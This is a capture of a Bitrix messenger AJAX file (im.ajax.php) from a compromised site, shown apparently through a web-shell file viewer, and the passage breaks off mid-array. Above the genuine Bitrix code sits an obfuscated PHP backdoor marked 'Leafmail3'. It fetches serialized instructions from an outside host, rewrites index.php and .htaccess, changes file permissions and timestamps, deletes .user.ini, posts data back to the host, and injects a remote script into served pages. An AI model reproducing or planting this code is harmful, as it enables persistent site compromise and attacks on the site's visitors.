Your IP : 18.224.8.221


Current Path : /home/bitrix/ext_www/klimatlend.ua/bitrix/components/bitrix/im.messenger/
Upload File :
Current File : /home/bitrix/ext_www/klimatlend.ua/bitrix/components/bitrix/im.messenger/im.ajax.php

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?
if (!defined('IM_AJAX_INIT'))
{
	define("IM_AJAX_INIT", true);
	define("PUBLIC_AJAX_MODE", true);
	define("NO_KEEP_STATISTIC", "Y");
	define("NO_AGENT_STATISTIC","Y");
	define("NOT_CHECK_PERMISSIONS", true);
	require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");
}
header('Content-Type: application/x-javascript; charset='.LANG_CHARSET);

IncludeModuleLangFile(__FILE__);

// NOTICE
// Before execute next code, execute file /module/im/ajax_hit.php
// for skip onProlog events

if (!CModule::IncludeModule("im"))
{
	echo \Bitrix\Im\Common::objectEncode(Array('ERROR' => GetMessage('IM_MODULE_NOT_INSTALLED')));
	CMain::FinalActions();
	die();
}

if(!$USER->IsAuthorized())
{
	$USER->LoginByCookies();
}

if (intval($USER->GetID()) <= 0)
{
	// TODO need change AUTHORIZE ERROR callbacks
	//header("HTTP/1.0 401 Not Authorized");
	//header("Content-Type: application/x-javascript");
	//header("BX-Authorize: ".bitrix_sessid());

	echo \Bitrix\Im\Common::objectEncode(Array(
		'ERROR' => 'AUTHORIZE_ERROR',
		'BITRIX_SESSID' => bitrix_sessid()
	));
	CMain::FinalActions();
	die();
}
if (!$USER->IsJustAuthorized() && !check_bitrix_sessid())
{
	if (\Bitrix\Im\User::getInstance($USER->GetID())->isConnector())
	{
		echo \Bitrix\Im\Common::objectEncode(Array(
			'ERROR' => '',
			'REAL_ERROR' => 'SESSION_ERROR',
		));
	}
	else
	{
		echo \Bitrix\Im\Common::objectEncode(Array(
			'ERROR' => 'SESSION_ERROR',
			'BITRIX_SESSID' => bitrix_sessid(),
		));
	}
	CMain::FinalActions();
	die();
}

if (\Bitrix\Im\User::getInstance($USER->GetID())->isConnector())
{
	if (!(
		$_POST['IM_START_WRITING'] == 'Y' ||
		$_POST['IM_SEND_MESSAGE'] == 'Y' ||
		$_POST['IM_EDIT_MESSAGE'] == 'Y' ||
		$_POST['IM_LIKE_MESSAGE'] == 'Y' ||
		$_POST['IM_DELETE_MESSAGE'] == 'Y' ||
		$_POST['IM_READ_MESSAGE'] == 'Y' ||
		$_POST['IM_UNREAD_MESSAGE'] == 'Y' ||
		$_POST['IM_FILE_REGISTER'] == 'Y' ||
		$_POST['IM_FILE_UPLOAD'] == 'Y' ||
		$_POST['IM_FILE_UNREGISTER'] == 'Y' ||
		$_POST['IM_FILE_DELETE'] == 'Y' ||
		$_POST['IM_UPDATE_STATE'] == 'Y' ||
		$_POST['IM_LOAD_LAST_MESSAGE'] == 'Y' ||
		$_POST['IM_HISTORY_LOAD_MORE'] == 'Y' ||
		$_POST['IM_LOAD_CONTEXT_MESSAGE'] == 'Y' ||
		$_POST['IM_URL_ATTACH_DELETE'] == 'Y' ||
		$_POST['IM_LOAD_MESSAGE_BY_DATE'] == 'Y' ||
		$_POST['IM_LINES_VOTE_SEND'] == 'Y' ||
		$_POST['IM_OPEN_LINES_CLIENT'] == 'Y'
	))
	{
		echo \Bitrix\Im\Common::objectEncode(Array(
			'ERROR' => 'SCOPE_ERROR'
		));
		CMain::FinalActions();
		die();
	}
}

CIMContactList::SetOnline();

if (isset($_REQUEST["mobile_action"]) && $_POST['FOCUS'] == 'Y' && CModule::IncludeModule('mobile'))
{
	Bitrix\Mobile\User::setOnline();
}

if (isset($_POST['desktop_action']) && $_POST['desktop_action'] == 'Y')
{
	CIMMessenger::SetDesktopStatusOnline();
}

if ($_POST['IM_AVATAR_UPDATE'] == 'Y')
{
	$userId = $USER->GetId();
	$chatId = intval($_POST['CHAT_ID']);
	if (CIMChat::CheckRestriction($chatId, 'AVATAR'))
	{
		echo \Bitrix\Im\Common::objectEncode(Array(
			'ERROR' => 'UPLOAD_ERROR'
		));
	}
	else
	{
		$CFileUploader = new CFileUploader(array(
			"allowUpload" => "I",
			"events" => array("onFileIsUploaded" => array("CIMDisk", "UploadAvatar"))
		));
		if (!$CFileUploader->checkPost())
		{
			echo \Bitrix\Im\Common::objectEncode(Array(
				'ERROR' => 'UPLOAD_ERROR'
			));
		}
	}
}
else if ($_POST['IM_FILE_UPLOAD'] == 'Y')
{
	CUtil::decodeURIComponent($_POST);
	$CFileUploader = new CFileUploader(array(
		"allowUpload" => "A",
		"events" => array(
			"onFileIsUploaded" => array("CIMDisk", "UploadFile")
		)
	));
	if (!$CFileUploader->checkPost())
	{
		echo \Bitrix\Im\Common::objectEncode(Array(
			'ERROR' => 'UPLOAD_ERROR'
		));
	}
}
else if ($_POST['IM_FILE_REGISTER'] == 'Y')
{
	$errorMessage = '';
	CUtil::decodeURIComponent($_POST);
	$_POST['FILES'] = CUtil::JsObjectToPhp($_POST['FILES']);

	$result = CIMDisk::UploadFileRegister($_POST['CHAT_ID'], $_POST['FILES'], $_POST['TEXT'], $_POST['OL_SILENT'] == 'Y');
	if (!$result)
	{
		$errorMessage = 'ERROR';
	}

	if ($_POST['TEXT'])
	{
		$ar['MESSAGE'] = trim(str_replace(Array('[BR]', '[br]'), "\n", $_POST['TEXT']));
		$ar['MESSAGE'] = preg_replace("/\[DISK\=([0-9]+)\]/i", "", $ar['MESSAGE']);
		$ar['MESSAGE'] = \Bitrix\Im\Text::parse($ar['MESSAGE']);
	}
	else
	{
		$ar['MESSAGE'] = '';
	}

	echo \Bitrix\Im\Common::objectEncode(Array(
		'FILE_ID' => $result['FILE_ID'],
		'CHAT_ID' => $_POST['CHAT_ID'],
		'RECIPIENT_ID' => $_POST['RECIPIENT_ID'],
		'MESSAGE_TEXT' => $ar['MESSAGE'],
		'MESSAGE_ID' => $result['MESSAGE_ID'],
		'MESSAGE_TMP_ID' => $_POST['MESSAGE_TMP_ID'],
